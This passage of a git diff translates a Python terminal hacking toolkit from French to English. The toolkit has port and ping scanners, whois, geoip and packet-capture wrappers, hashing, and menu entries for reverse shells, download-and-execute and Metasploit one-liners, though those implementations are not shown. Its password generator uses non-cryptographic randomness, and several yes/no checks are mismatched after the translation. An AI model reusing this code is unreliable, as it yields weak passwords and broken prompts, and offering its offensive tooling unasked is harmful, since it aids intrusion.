"Encoder URL"), - ("URL Decode", "urld", "Décoder URL"), + ("Password Gen", "password", "Generate password"), + ("Hash MD5", "md5", "MD5 hash"), + ("Hash SHA256", "sha256", "SHA256 hash"), + ("File Hash", "filehash", "Hash a file"), + ("Base64 Encode", "b64e", "Base64 encode"), + ("Base64 Decode", "b64d", "Base64 decode"), + ("URL Encode", "urle", "URL encode"), + ("URL Decode", "urld", "URL decode"), ] }, "4": { - "name": "SYSTÈME", + "name": "SYSTEM", "color": C.WHITE, "tools": [ - ("Info Système", "sysinfo", "Informations système"), - ("Liste Fichiers", "lsdir", "Lister fichiers"), + ("System Info", "sysinfo", "System information"), + ("File List", "lsdir", "List files"), ] }, "5": { - "name": "EXPLOITATION", + "name": "EXPLOIT", "color": C.GRAY, "tools": [ - ("Reverse Shell", "revshell", "Générer reverse shell"), - ("Encoder Payload", "encpayload", "Encoder en Base64"), - ("Décoder Payload", "decpayload", "Décoder Base64"), - ("Serveur HTTP", "httpserver", "Démarrer serveur HTTP"), - ("Download & Execute", "dllexec", "Download et execute"), - ("Metasploit One-Liner", "msfgen", "Générer one-liner MSF"), + ("Reverse Shell", "revshell", "Generate reverse shell"), + ("Encode Payload", "encpayload", "Base64 encode"), + ("Decode Payload", "decpayload", "Base64 decode"), + ("HTTP Server", "httpserver", "Start HTTP server"), + ("Download & Exec", "dllexec", "Download and execute"), + ("Metasploit One-Liner", "msfgen", "Generate MSF one-liner"), ] }, "6": { "name": "AUDIT", "color": C.GRAY, "tools": [ - ("Nmap", "nmap", "Scanner de ports avancé"), - ("Masscan", "masscan", "Scan massif ultra-rapide"), - ("Aircrack-ng", "aircrack", "Suite attaque WiFi"), - ("Nikto", "nikto", "Scanner vulnérabilités web"), + ("Nmap", "nmap", "Advanced port scanner"), + ("Masscan", "masscan", "Ultra fast mass scan"), + ("Aircrack-ng", "aircrack", "WiFi attack suite"), + ("Nikto", "nikto", "Web vulnerability scanner"), ("Hydra", "hydra", "Brute force login"), - ("John the Ripper", "john", "Cracker mots de passe"), - ("Hashcat", "hashcat", "Cracking GPU (hashcat)"), - ("SQLMap", "sqlmap", "Détecter injections SQL"), + ("John the Ripper", "john", "Password cracker"), + ("Hashcat", "hashcat", "GPU cracking (hashcat)"), + ("SQLMap", "sqlmap", "Detect SQL injections"), ] }, } @@ -188,14 +203,14 @@ def print_art(): def show_categories(): print(f"{C.BOLD} ┌─────────────────────────────────────────┐{C.RESET}") - print(f"{C.BOLD} │{C.RESET} {C.WHITE}SÉLECTIONNER UNE CATÉGORIE{C.RESET} {C.BOLD}│{C.RESET}") + print(f"{C.BOLD} │{C.RESET} {C.WHITE}SELECT A CATEGORY{C.RESET} {C.BOLD}│{C.RESET}") print(f"{C.BOLD} └─────────────────────────────────────────┘{C.RESET}\n") for key, cat in CATEGORIES.items(): print(f" {C.BOLD}┌─[{C.WHITE} {key} {C.GRAY}]{C.RESET} {cat['color']}▸ {cat['name']}{C.RESET}") print(f" {C.GRAY}└{'─' * 45}╜{C.RESET}") - print(f"\n {C.BOLD}┌─[{C.WHITE} q {C.GRAY}]{C.RESET} {C.WHITE}Quitter{C.RESET}") + print(f"\n {C.BOLD}┌─[{C.WHITE} q {C.GRAY}]{C.RESET} {C.WHITE}Quit{C.RESET}") print(f" {C.GRAY}└{'─' * 20}╜{C.RESET}\n") def show_tools_in_category(cat_key): @@ -218,20 +233,20 @@ def show_tools_in_category(cat_key): print(f" {C.GRAY}│ {desc}{C.RESET}") print(f" {C.GRAY}└{'─' * 45}╜{C.RESET}\n") - print(f" {C.BOLD}┌─{C.GRAY}[{C.WHITE}0{C.GRAY}]{C.RESET} {C.WHITE}← Retour{C.RESET}") + print(f" {C.BOLD}┌─{C.GRAY}[{C.WHITE}0{C.GRAY}]{C.RESET} {C.WHITE}< Back{C.RESET}") print(f" {C.GRAY}└{'─' * 20}╜{C.RESET}\n") return [t[1] for t in tools] def pause(): - input(f"\n {C.GRAY}Appuyez sur Entrée...{C.RESET}") + input(f"\n {C.GRAY}Press Enter...{C.RESET}") # ═══════════════════════════════════════════ -# RECONNAISSANCE +# RECON # ═══════════════════════════════════════════ def tool_ports(): clear() - print(f"{C.GRAY}[*] Scan de ports{C.RESET}\n") + print(f"{C.GRAY}[*] Port scan{C.RESET}\n") target = get_input_ip("IP cible") if not target: @@ -239,14 +254,14 @@ def tool_ports(): return try: - start = int(get_input("Port début (défaut: 1)") or "1") - end = int(get_input("Port fin (défaut: 1024)") or "1024") + start = int(get_input("Start port (default: 1)") or "1") + end = int(get_input("End port (default: 1024)") or "1024") except ValueError: - print(f"{C.GRAY}[!] Ports invalides{C.RESET}") + print(f"{C.GRAY}[!] Invalid ports{C.RESET}") pause() return - print(f"\n{C.GRAY}[*] Scan en cours sur {target}...{C.RESET}\n") + print(f"\n{C.GRAY}[*] Scanning on {target}...{C.RESET}\n") open_ports = [] for port in range(start, min(end + 1, 10000)): @@ -254,10 +269,10 @@ def tool_ports(): sock.settimeout(0.3) if sock.connect_ex((target, port)) == 0: open_ports.append(port) - print(f"{C.WHITE}[+] Port {port} OUVERT{C.RESET}") + print(f"{C.WHITE}[+] Port {port} OPEN{C.RESET}") sock.close() - print(f"\n{C.WHITE}[*] {len(open_ports)} ports ouverts{C.RESET}" if open_ports else f"\n{C.GRAY}[!] Aucun port ouvert{C.RESET}") + print(f"\n{C.WHITE}[*] {len(open_ports)} open ports{C.RESET}" if open_ports else f"\n{C.GRAY}[!] No open ports found{C.RESET}") pause() TOOL_FUNCTIONS["ports"] = tool_ports @@ -268,11 +283,11 @@ def tool_ping(): subnet = get_input("Plage IP (ex: 192.168.1)") if not subnet: - print(f"{C.GRAY}[!] Plage invalide{C.RESET}") + print(f"{C.GRAY}[!] Invalid range{C.RESET}") pause() return - print(f"\n{C.GRAY}[*] Scan en cours...{C.RESET}\n") + print(f"\n{C.GRAY}[*] Scanning...{C.RESET}\n") param = "-n" if sys.platform == "win32" else "-c" for i in range(1, 255): @@ -294,7 +309,7 @@ def tool_dns(): domain = get_input("Domaine") if not domain: - print(f"{C.GRAY}[!] Domaine invalide{C.RESET}") + print(f"{C.GRAY}[!] Invalid domain{C.RESET}") pause() return @@ -305,9 +320,9 @@ def tool_dns(): hostname, _, _ = socket.gethostbyaddr(ip) print(f"{C.WHITE}[+] Reverse: {C.WHITE}{hostname}{C.RESET}") except socket.gaierror: - print(f"{C.GRAY}[!] Domaine introuvable{C.RESET}") + print(f"{C.GRAY}[!] Domain not found{C.RESET}") except Exception as e: - print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}") + print(f"{C.GRAY}[!] Error: {e}{C.RESET}") pause() @@ -319,22 +334,22 @@ def tool_whois(): target = get_input_ip("IP ou Domaine") if not target: - print(f"{C.GRAY}[!] Cible invalide{C.RESET}") + print(f"{C.GRAY}[!] Invalid target{C.RESET}") pause() return - print(f"\n{C.GRAY}[*] Recherche WHOIS sur {target}...{C.RESET}\n") + print(f"\n{C.GRAY}[*] WHOIS lookup on {target}...{C.RESET}\n") try: - result = subprocess.run(["whois", target], capture_output=True, text=True, timeout=10) + result = subprocess.run(["whois", shlex.quote(target)], capture_output=True, text=True, timeout=10) if result.stdout: print(f"{C.WHITE}{result.stdout[:3000]}{C.RESET}") else: - print(f"{C.GRAY}[!] Pas d'informations disponibles{C.RESET}") + print(f"{C.GRAY}[!] No information available{C.RESET}") except FileNotFoundError: - print(f"{C.GRAY}[!] Whois non installé (apt install whois){C.RESET}") + print(f"{C.GRAY}[!] Whois not installed (apt install whois){C.RESET}") except Exception as e: - print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}") + print(f"{C.GRAY}[!] Error: {e}{C.RESET}") pause() @@ -346,11 +361,11 @@ def tool_geoip(): target = get_input_ip("Adresse IP") if not target: - print(f"{C.GRAY}[!] IP invalide{C.RESET}") + print(f"{C.GRAY}[!] Invalid IP{C.RESET}") pause() return - print(f"\n{C.GRAY}[*] Localisation de {target}...{C.RESET}\n") + print(f"\n{C.GRAY}[*] Locating {target}...{C.RESET}\n") try: result = subprocess.run(["curl", "-s", f"ipinfo.io/{target}/json"], @@ -358,22 +373,22 @@ def tool_geoip(): data = json.loads(result.stdout) if "bogon" in data: - print(f"{C.WHITE}[!] IP privée/bogon (non traçable){C.RESET}") + print(f"{C.WHITE}[!] Private IP/bogon (not traceable){C.RESET}") else: print(f"{C.WHITE}[+] IP: {C.WHITE}{data.get('ip', target)}{C.RESET}") print(f"{C.WHITE}[+] Hostname: {C.WHITE}{data.get('hostname', 'N/A')}{C.RESET}") print(f"{C.WHITE}[+] Ville: {C.WHITE}{data.get('city', 'N/A')}{C.RESET}") - print(f"{C.WHITE}[+] Région: {C.WHITE}{data.get('region', 'N/A')}{C.RESET}") + print(f"{C.WHITE}[+] Region: {C.WHITE}{data.get('region', 'N/A')}{C.RESET}") print(f"{C.WHITE}[+] Pays: {C.WHITE}{data.get('country', 'N/A')}{C.RESET}") - print(f"{C.WHITE}[+] Localisation: {C.WHITE}{data.get('loc', 'N/A')}{C.RESET}") + print(f"{C.WHITE}[+] Location: {C.WHITE}{data.get('loc', 'N/A')}{C.RESET}") print(f"{C.WHITE}[+] Timezone: {C.WHITE}{data.get('timezone', 'N/A')}{C.RESET}") print(f"{C.WHITE}[+] ASN: {C.WHITE}{data.get('org', 'N/A')}{C.RESET}") - if "loc" in data and data["loc"]: - lat, lon = data["loc"].split(",") + if "loc" in data and data["loc"] and "," in data["loc"]: + lat, lon = data["loc"].split(",", 1) print(f"\n{C.GRAY} Maps: https://www.google.com/maps?q={lat},{lon}{C.RESET}") except Exception as e: - print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}") + print(f"{C.GRAY}[!] Error: {e}{C.RESET}") pause() @@ -385,38 +400,38 @@ def tool_traceroute(): target = get_input_domain("IP ou Domaine") if not target: - print(f"{C.GRAY}[!] Cible invalide{C.RESET}") + print(f"{C.GRAY}[!] Invalid target{C.RESET}") pause() return - print(f"\n{C.GRAY}[*] Traceroute vers {target}...{C.RESET}\n") + print(f"\n{C.GRAY}[*] Traceroute to {target}...{C.RESET}\n") try: param = "tracert" if sys.platform == "win32" else "traceroute" - result = subprocess.run([param, target], capture_output=True, text=True, timeout=30) + result = subprocess.run([param, shlex.quote(target)], capture_output=True, text=True, timeout=30) print(f"{C.WHITE}{result.stdout[:2000]}{C.RESET}") except Exception as e: - print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}") + print(f"{C.GRAY}[!] Error: {e}{C.RESET}") pause() TOOL_FUNCTIONS["traceroute"] = tool_traceroute # ═══════════════════════════════════════════ -# RÉSEAU +# NETWORK # ═══════════════════════════════════════════ def tool_myip(): clear() - print(f"{C.WHITE}[*] Mon IP Publique{C.RESET}\n") + print(f"{C.WHITE}[*] My Public IP{C.RESET}\n") my_ip = get_my_ip() if not my_ip: - print(f"{C.GRAY}[!] Impossible de récupérer mon IP{C.RESET}") + print(f"{C.GRAY}[!] Could not retrieve my IP{C.RESET}") pause() return - print(f"{C.WHITE}[+] IP Publique: {C.WHITE}{my_ip}{C.RESET}\n") + print(f"{C.WHITE}[+] Public IP: {C.WHITE}{my_ip}{C.RESET}\n") try: result = subprocess.run(["curl", "-s", f"ipinfo.io/{my_ip}/json"], @@ -425,7 +440,7 @@ def tool_myip(): if data.get("ip"): print(f"{C.WHITE}[+] Ville: {C.WHITE}{data.get('city', 'N/A')}{C.RESET}") - print(f"{C.WHITE}[+] Région: {C.WHITE}{data.get('region', 'N/A')}{C.RESET}") + print(f"{C.WHITE}[+] Region: {C.WHITE}{data.get('region', 'N/A')}{C.RESET}") print(f"{C.WHITE}[+] Pays: {C.WHITE}{data.get('country', 'N/A')}{C.RESET}") print(f"{C.WHITE}[+] ISP: {C.WHITE}{data.get('org', 'N/A')}{C.RESET}") print(f"{C.WHITE}[+] Timezone: {C.WHITE}{data.get('timezone', 'N/A')}{C.RESET}") @@ -438,20 +453,20 @@ def tool_myip(): def tool_iplocale(): clear() - print(f"{C.WHITE}[*] Mon IP Locale{C.RESET}\n") + print(f"{C.WHITE}[*] My Local IP{C.RESET}\n") try: hostname = socket.gethostname() local_ip = socket.gethostbyname(hostname) - print(f"{C.WHITE}[+] Hôte: {C.WHITE}{hostname}{C.RESET}") - print(f"{C.WHITE}[+] IP Locale: {C.WHITE}{local_ip}{C.RESET}") + print(f"{C.WHITE}[+] Host: {C.WHITE}{hostname}{C.RESET}") + print(f"{C.WHITE}[+] Local IP: {C.WHITE}{local_ip}{C.RESET}") my_local = get_my_local_ip() if my_local != local_ip: print(f"{C.WHITE}[+] IP (iface): {C.WHITE}{my_local}{C.RESET}") except Exception as e: - print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}") + print(f"{C.GRAY}[!] Error: {e}{C.RESET}") pause() @@ -459,10 +474,10 @@ def tool_iplocale(): def tool_allips(): clear() - print(f"{C.WHITE}[*] Toutes mes IPs{C.RESET}\n") + print(f"{C.WHITE}[*] All My IPs{C.RESET}\n") hostname = socket.gethostname() - print(f"{C.WHITE}[+] Hôte: {C.WHITE}{hostname}{C.RESET}\n") + print(f"{C.WHITE}[+] Host: {C.WHITE}{hostname}{C.RESET}\n") try: result = subprocess.check_output(["ip", "addr"], text=True) @@ -481,14 +496,14 @@ def tool_allips(): if p == "inet": print(f"{C.WHITE}[+] {C.WHITE}{parts[i+1]}{C.RESET}") except: - print(f"{C.GRAY}[!] Commandes réseau non disponibles{C.RESET}") + print(f"{C.GRAY}[!] Network commands not available{C.RESET}") print() public = get_my_ip() if public: - print(f"{C.WHITE}[+] IP Publique: {C.WHITE}{public}{C.RESET}") + print(f"{C.WHITE}[+] Public IP: {C.WHITE}{public}{C.RESET}") else: - print(f"{C.GRAY}[i] IP publique non disponible{C.RESET}") + print(f"{C.GRAY}[i] Public IP not available{C.RESET}") pause() @@ -496,38 +511,42 @@ def tool_allips(): def tool_gateway(): clear() - print(f"{C.WHITE}[*] Passerelle (Gateway){C.RESET}\n") + print(f"{C.WHITE}[*] Gateway{C.RESET}\n") try: result = subprocess.check_output(["ip", "route", "show", "default"], text=True) - gw = result.split()[2] - print(f"{C.WHITE}[+] Passerelle: {C.WHITE}{gw}{C.RESET}") - - try: - hostname = socket.gethostbyaddr(gw)[0] - print(f"{C.GRAY} DNS inverse: {C.WHITE}{hostname}{C.RESET}") - except: - pass + parts = result.split() + if len(parts) >= 3: + gw = parts[2] + print(f"{C.WHITE}[+] Gateway: {C.WHITE}{gw}{C.RESET}") + + try: + hostname = socket.gethostbyaddr(gw)[0] + print(f"{C.GRAY} DNS inverse: {C.WHITE}{hostname}{C.RESET}") + except: + pass + else: + raise ValueError("Unexpected format") except: try: result = subprocess.check_output(["route", "-n"], text=True) for line in result.split("\n"): if "UG" in line: parts = line.split() - print(f"{C.WHITE}[+] Passerelle: {C.WHITE}{parts[1]}{C.GRAY} (iface: {parts[-1]}){C.RESET}") + print(f"{C.WHITE}[+] Gateway: {C.WHITE}{parts[1]}{C.GRAY} (iface: {parts[-1]}){C.RESET}") except: - print(f"{C.GRAY}[!] Impossible de récupérer la passerelle{C.RESET}") + print(f"{C.GRAY}[!] Could not retrieve gateway{C.RESET}") print() - print(f"{C.GRAY}[*] Test de connectivité:{C.RESET}") + print(f"{C.GRAY}[*] Connectivity test:{C.RESET}") try: result = subprocess.run(["ping", "-c", "1", "-W", "1", "8.8.8.8"], capture_output=True) if result.returncode == 0: - print(f"{C.WHITE}[+] Connexion internet: OK{C.RESET}") + print(f"{C.WHITE}[+] Internet: OK{C.RESET}") else: - print(f"{C.GRAY}[!] Connexion internet: ÉCHEC{C.RESET}") + print(f"{C.GRAY}[!] Internet: FAILED{C.RESET}") except: - print(f"{C.GRAY}[!] Test impossible{C.RESET}") + print(f"{C.GRAY}[!] Test failed{C.RESET}") pause() @@ -535,18 +554,18 @@ def tool_gateway(): def tool_checkport(): clear() - print(f"{C.WHITE}[*] Vérifier port{C.RESET}\n") + print(f"{C.WHITE}[*] Check port{C.RESET}\n") target = get_input_ip("IP cible") if not target: - print(f"{C.GRAY}[!] IP invalide{C.RESET}") + print(f"{C.GRAY}[!] Invalid IP{C.RESET}") pause() return try: port = int(get_input("Port")) except ValueError: - print(f"{C.GRAY}[!] Port invalide{C.RESET}") + print(f"{C.GRAY}[!] Invalid port{C.RESET}") pause() return @@ -554,9 +573,9 @@ def tool_checkport(): sock.settimeout(2) if sock.connect_ex((target, port)) == 0: - print(f"\n{C.WHITE}[+] Port {port} sur {target} est OUVERT{C.RESET}") + print(f"\n{C.WHITE}[+] Port {port} on {target} is OPEN{C.RESET}") else: - print(f"\n{C.GRAY}[!] Port {port} sur {target} est FERMÉ{C.RESET}") + print(f"\n{C.GRAY}[!] Port {port} on {target} is CLOSED{C.RESET}") sock.close() pause() @@ -569,16 +588,16 @@ def tool_rawping(): target = get_input_domain("IP ou Domaine") if not target: - print(f"{C.GRAY}[!] Cible invalide{C.RESET}") + print(f"{C.GRAY}[!] Invalid target{C.RESET}") pause() return try: param = "-n" if sys.platform == "win32" else "-c" - count = get_input("Nombre de paquets (défaut: 4)") or "4" + count = get_input("Number of packets (default: 4)") or "4" subprocess.run(["ping", param, count, target], timeout=30) except Exception as e: - print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}") + print(f"{C.GRAY}[!] Error: {e}{C.RESET}") pause() @@ -586,7 +605,7 @@ def tool_rawping(): def tool_netcalc(): clear() - print(f"{C.WHITE}[*] Calculatrice réseau{C.RESET}\n") + print(f"{C.WHITE}[*] Network calculator{C.RESET}\n") try: ip = get_input("Adresse IP (ex: 192.168.1.1)") @@ -602,14 +621,14 @@ def tool_netcalc(): def itoa(i): return f"{(i >> 24) & 255}.{(i >> 16) & 255}.{(i >> 8) & 255}.{i & 255}" - print(f"\n{C.WHITE}[+] Réseau: {C.WHITE}{itoa(network)}/{cidr}{C.RESET}") + print(f"\n{C.WHITE}[+] Network: {C.WHITE}{itoa(network)}/{cidr}{C.RESET}") print(f"{C.WHITE}[+] Broadcast: {C.WHITE}{itoa(broadcast)}{C.RESET}") print(f"{C.WHITE}[+] Masque: {C.WHITE}{itoa(mask_int)}{C.RESET}") - print(f"{C.WHITE}[+] Première IP: {C.WHITE}{itoa(network + 1)}{C.RESET}") - print(f"{C.WHITE}[+] Dernière IP: {C.WHITE}{itoa(broadcast - 1)}{C.RESET}") + print(f"{C.WHITE}[+] First IP: {C.WHITE}{itoa(network + 1)}{C.RESET}") + print(f"{C.WHITE}[+] Last IP: {C.WHITE}{itoa(broadcast - 1)}{C.RESET}") print(f"{C.WHITE}[+] Nombre IPs: {C.WHITE}{2**(32-int(cidr))}{C.RESET}") except Exception as e: - print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}") + print(f"{C.GRAY}[!] Error: {e}{C.RESET}") pause() @@ -619,48 +638,48 @@ def tool_netdiscover(): clear() print(f"{C.WHITE}[*] Netdiscover{C.RESET}\n") - print(f"{C.GRAY}[*] Vérification de netdiscover...{C.RESET}\n") + print(f"{C.GRAY}[*] Checking netdiscover...{C.RESET}\n") result = subprocess.run(["which", "netdiscover"], capture_output=True, text=True) if result.returncode == 0: - print(f"{C.WHITE}[+] Netdiscover installé{C.RESET}\n") + print(f"{C.WHITE}[+] Netdiscover installed{C.RESET}\n") - iface = get_input("Interface réseau (défaut: eth0)") or "eth0" + iface = get_input("Network interface (default: eth0)") or "eth0" - print(f"\n{C.GRAY}[*] Scan ARP en cours sur {iface}...{C.RESET}") - print(f"{C.GRAY}[*] Ctrl+C pour arrêter{C.RESET}\n") + print(f"\n{C.GRAY}[*] ARP scan in progress on {iface}...{C.RESET}") + print(f"{C.GRAY}[*] Ctrl+C to stop{C.RESET}\n") try: subprocess.run(["netdiscover", "-i", iface, "-r", "0.0.0.0/24"], timeout=60) except KeyboardInterrupt: - print(f"\n{C.WHITE}[!] Scan arrêté{C.RESET}") + print(f"\n{C.WHITE}[!] Scan stopped{C.RESET}") except Exception as e: - print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}") + print(f"{C.GRAY}[!] Error: {e}{C.RESET}") else: - print(f"{C.GRAY}[!] Netdiscover non installé{C.RESET}\n") + print(f"{C.GRAY}[!] Netdiscover not installed{C.RESET}\n") install = input(f"{C.WHITE}[?] Voulez-vous l'installer ? (o/n): {C.RESET}").strip().lower() - if install == "o": + if install == "y": print(f"\n{C.GRAY}[*] Installation de netdiscover...{C.RESET}\n") try: if os.path.exists("/etc/debian_version"): subprocess.run(["sudo", "apt", "update"], check=True) subprocess.run(["sudo", "apt", "install", "-y", "netdiscover"], check=True) - elif os.path.exists("/etc/arch_release"): + elif os.path.exists("/etc/arch-release"): subprocess.run(["sudo", "pacman", "-S", "--noconfirm", "netdiscover"], check=True) elif os.path.exists("/etc/fedora-release"): subprocess.run(["sudo", "dnf", "install", "-y", "netdiscover"], check=True) else: - print(f"{C.WHITE}[!] Distribution non reconnue, installez manuellement{C.RESET}") + print(f"{C.WHITE}[!] Unknown distribution, install manually{C.RESET}") print(f"{C.GRAY} Ubuntu/Debian: sudo apt install netdiscover{C.RESET}") print(f"{C.GRAY} Arch: sudo pacman -S netdiscover{C.RESET}") print(f"{C.GRAY} Fedora: sudo dnf install netdiscover{C.RESET}") - print(f"\n{C.WHITE}[+] Installation terminée{C.RESET}") + print(f"\n{C.WHITE}[+] Installation complete{C.RESET}") print(f"{C.GRAY}[*] Relancez l'outil pour l'utiliser{C.RESET}") except Exception as e: - print(f"{C.GRAY}[!] Erreur d'installation: {e}{C.RESET}") + print(f"{C.GRAY}[!] Installation error: {e}{C.RESET}") else: print(f"\n{C.GRAY}[*] Commandes d'installation manuelle:{C.RESET}") print(f"{C.WHITE} sudo apt install netdiscover{C.RESET}") @@ -673,35 +692,35 @@ def tool_wireshark(): clear() print(f"{C.WHITE}[*] Wireshark{C.RESET}\n") - print(f"{C.GRAY}[*] Vérification de Wireshark...{C.RESET}\n") + print(f"{C.GRAY}[*] Checking Wireshark...{C.RESET}\n") result = subprocess.run(["which", "wireshark"], capture_output=True, text=True) if result.returncode == 0: - print(f"{C.WHITE}[+] Wireshark installé{C.RESET}") + print(f"{C.WHITE}[+] Wireshark installed{C.RESET}") print(f"{C.WHITE}[*] Lancement de Wireshark en terminal...{C.RESET}") print(f"{C.GRAY}[*] Interface: TShark (version terminal de Wireshark){C.RESET}\n") - iface = get_input("Interface réseau (défaut: eth0)") or "eth0" + iface = get_input("Network interface (default: eth0)") or "eth0" try: subprocess.run(["tshark", "-i", iface, "-c", "100"], timeout=30) except KeyboardInterrupt: - print(f"\n{C.WHITE}[!] Capture arrêtée{C.RESET}") + print(f"\n{C.WHITE}[!] Capture stopped{C.RESET}") except FileNotFoundError: - print(f"{C.GRAY}[!] TShark non trouvé, utilisation de tcpdump{C.RESET}") - print(f"{C.GRAY}[*] Capture avec tcpdump... (Ctrl+C pour arrêter){C.RESET}\n") + print(f"{C.GRAY}[!] TShark not found, using tcpdump{C.RESET}") + print(f"{C.GRAY}[*] Capture with tcpdump... (Ctrl+C to stop){C.RESET}\n") try: subprocess.run(["tcpdump", "-i", iface, "-c", "50"]) except KeyboardInterrupt: - print(f"\n{C.WHITE}[!] Capture arrêtée{C.RESET}") + print(f"\n{C.WHITE}[!] Capture stopped{C.RESET}") except FileNotFoundError: - print(f"{C.GRAY}[!] tcpdump non installé{C.RESET}") + print(f"{C.GRAY}[!] tcpdump not installed{C.RESET}") else: - print(f"{C.GRAY}[!] Wireshark non installé{C.RESET}\n") + print(f"{C.GRAY}[!] Wireshark not installed{C.RESET}\n") install = input(f"{C.WHITE}[?] Voulez-vous l'installer ? (o/n): {C.RESET}").strip().lower() - if install == "o": + if install == "y": print(f"\n{C.GRAY}[*] Installation de Wireshark...{C.RESET}\n") try: if os.path.exists("/etc/debian_version"): @@ -712,14 +731,14 @@ def tool_wireshark(): elif os.path.exists("/etc/fedora-release"): subprocess.run(["sudo", "dnf", "install", "-y", "wireshark-cli", "tcpdump"], check=True) else: - print(f"{C.WHITE}[!] Distribution non reconnue, installez manuellement{C.RESET}") + print(f"{C.WHITE}[!] Unknown distribution, install manually{C.RESET}") print(f"{C.GRAY} Ubuntu/Debian: sudo apt install wireshark tshark tcpdump{C.RESET}") print(f"{C.GRAY} Arch: sudo pacman -S wireshark-cli tcpdump{C.RESET}") print(f"{C.GRAY} Fedora: sudo dnf install wireshark-cli tcpdump{C.RESET}") - print(f"\n{C.WHITE}[+] Installation terminée{C.RESET}") + print(f"\n{C.WHITE}[+] Installation complete{C.RESET}") except Exception as e: - print(f"{C.GRAY}[!] Erreur d'installation: {e}{C.RESET}") + print(f"{C.GRAY}[!] Installation error: {e}{C.RESET}") else: print(f"\n{C.GRAY}[*] Commandes d'installation manuelle:{C.RESET}") print(f"{C.WHITE} sudo apt install wireshark tshark tcpdump{C.RESET}") @@ -729,21 +748,21 @@ def tool_wireshark(): TOOL_FUNCTIONS["wireshark"] = tool_wireshark # ═══════════════════════════════════════════ -# CRYPTOGRAPHIE +# CRYPTO # ═══════════════════════════════════════════ def tool_password(): clear() - print(f"{C.GRAY}[*] Générateur de mot de passe{C.RESET}\n") + print(f"{C.GRAY}[*] Password Generator{C.RESET}\n") try: - length = int(get_input("Longueur (défaut: 16)") or "16") + length = int(get_input("Length (default: 16)") or "16") except ValueError: - print(f"{C.GRAY}[!] Longueur invalide{C.RESET}") + print(f"{C.GRAY}[!] Invalid length{C.RESET}") pause() return - use_special = get_input("Caractères spéciaux ? (o/n)").lower() == "o" + use_special = get_input("Special characters? (y/n)").lower() == "o" chars = string.ascii_letters + string.digits if use_special: @@ -751,7 +770,7 @@ def tool_password(): password = ''.join(random.choice(chars) for _ in range(length)) - print(f"\n{C.WHITE}[+] Mot de passe: {C.WHITE}{password}{C.RESET}") + print(f"\n{C.WHITE}[+] Password: {C.WHITE}{password}{C.RESET}") strength = "Faible" if length >= 12: @@ -759,7 +778,7 @@ def tool_password(): if length >= 16 and use_special: strength = "Fort" if length >= 20 and use_special: - strength = "Très fort" + strength = "Very strong" print(f"{C.GRAY}[*] Force: {strength}{C.RESET}") pause() @@ -770,9 +789,9 @@ def tool_md5(): clear() print(f"{C.GRAY}[*] Hash MD5{C.RESET}\n") - text = get_input("Texte à hasher") + text = get_input("Text to hash") if not text: - print(f"{C.GRAY}[!] Texte invalide{C.RESET}") + print(f"{C.GRAY}[!] Invalid text{C.RESET}") pause() return @@ -786,9 +805,9 @@ def tool_sha256(): clear() print(f"{C.GRAY}[*] Hash SHA256{C.RESET}\n") - text = get_input("Texte à hasher") + text = get_input("Text to hash") if not text: - print(f"{C.GRAY}[!] Texte invalide{C.RESET}") + print(f"{C.GRAY}[!] Invalid text{C.RESET}") pause() return @@ -800,11 +819,11 @@ def tool_sha256(): def tool_filehash(): clear() - print(f"{C.GRAY}[*] Hash de fichier{C.RESET}\n") + print(f"{C.GRAY}[*] File Hash{C.RESET}\n") filepath = get_input("Chemin du fichier") if not filepath or not os.path.exists(filepath): - print(f"{C.GRAY}[!] Fichier introuvable{C.RESET}") + print(f"{C.GRAY}[!] File not found{C.RESET}") pause() return @@ -817,11 +836,11 @@ def tool_filehash(): md5.update(chunk) sha256.update(chunk) - print(f"\n{C.WHITE}[+] Fichier: {C.WHITE}{filepath}{C.RESET}") + print(f"\n{C.WHITE}[+] File: {C.WHITE}{filepath}{C.RESET}") print(f"{C.GRAY} MD5: {C.WHITE}{md5.hexdigest()}{C.RESET}") print(f"{C.GRAY} SHA256: {C.WHITE}{sha256.hexdigest()}{C.RESET}") except Exception as e: - print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}") + print(f"{C.GRAY}[!] Error: {e}{C.RESET}") pause() @@ -831,14 +850,14 @@ def tool_b64e(): clear() print(f"{C.GRAY}[*] Base64 Encode{C.RESET}\n") - text = get_input("Texte à encoder") + text = get_input("Text to encode") if not text: - print(f"{C.GRAY}[!] Texte invalide{C.RESET}") + print(f"{C.GRAY}[!] Invalid text{C.RESET}") pause() return encoded = base64.b64encode(text.encode()).decode() - print(f"\n{C.WHITE}[+] Encodé: {C.WHITE}{encoded}{C.RESET}") + print(f"\n{C.WHITE}[+] Encoded: {C.WHITE}{encoded}{C.RESET}") pause() TOOL_FUNCTIONS["b64e"] = tool_b64e @@ -847,15 +866,15 @@ def tool_b64d(): clear() print(f"{C.GRAY}[*] Base64 Decode{C.RESET}\n") - text = get_input("Texte à décoder") + text = get_input("Text to decode") if not text: - print(f"{C.GRAY}[!] Texte invalide{C.RESET}") + print(f"{C.GRAY}[!] Invalid text{C.RESET}") pause() return try: decoded = base64.b64decode(text.encode()).decode() - print(f"\n{C.WHITE}[+] Décodé: {C.WHITE}{decoded}{C.RESET}") + print(f"\n{C.WHITE}[+] Decoded: {C.WHITE}{decoded}{C.RESET}") except Exception: print(f"{C.GRAY}[!] Décodage impossible{C.RESET}") @@ -868,14 +887,14 @@ def tool_urle(): print(f"{C.GRAY}[*] URL Encode{C.RESET}\n") from urllib.parse import quote - text = get_input("Texte à encoder") + text = get_input("Text to encode") if not text: - print(f"{C.GRAY}[!] Texte invalide{C.RESET}") + print(f"{C.GRAY}[!] Invalid text{C.RESET}") pause() return encoded = quote(text) - print(f"\n{C.WHITE}[+] Encodé: {C.WHITE}{encoded}{C.RESET}") + print(f"\n{C.WHITE}[+] Encoded: {C.WHITE}{encoded}{C.RESET}") pause() TOOL_FUNCTIONS["urle"] = tool_urle @@ -885,15 +904,15 @@ def tool_urld(): print(f"{C.GRAY}[*] URL Decode{C.RESET}\n") from urllib.parse import unquote - text = get_input("Texte à décoder") + text = get_input("Text to decode") if not text: - print(f"{C.GRAY}[!] Texte invalide{C.RESET}") + print(f"{C.GRAY}[!] Invalid text{C.RESET}") pause() return try: decoded = unquote(text) - 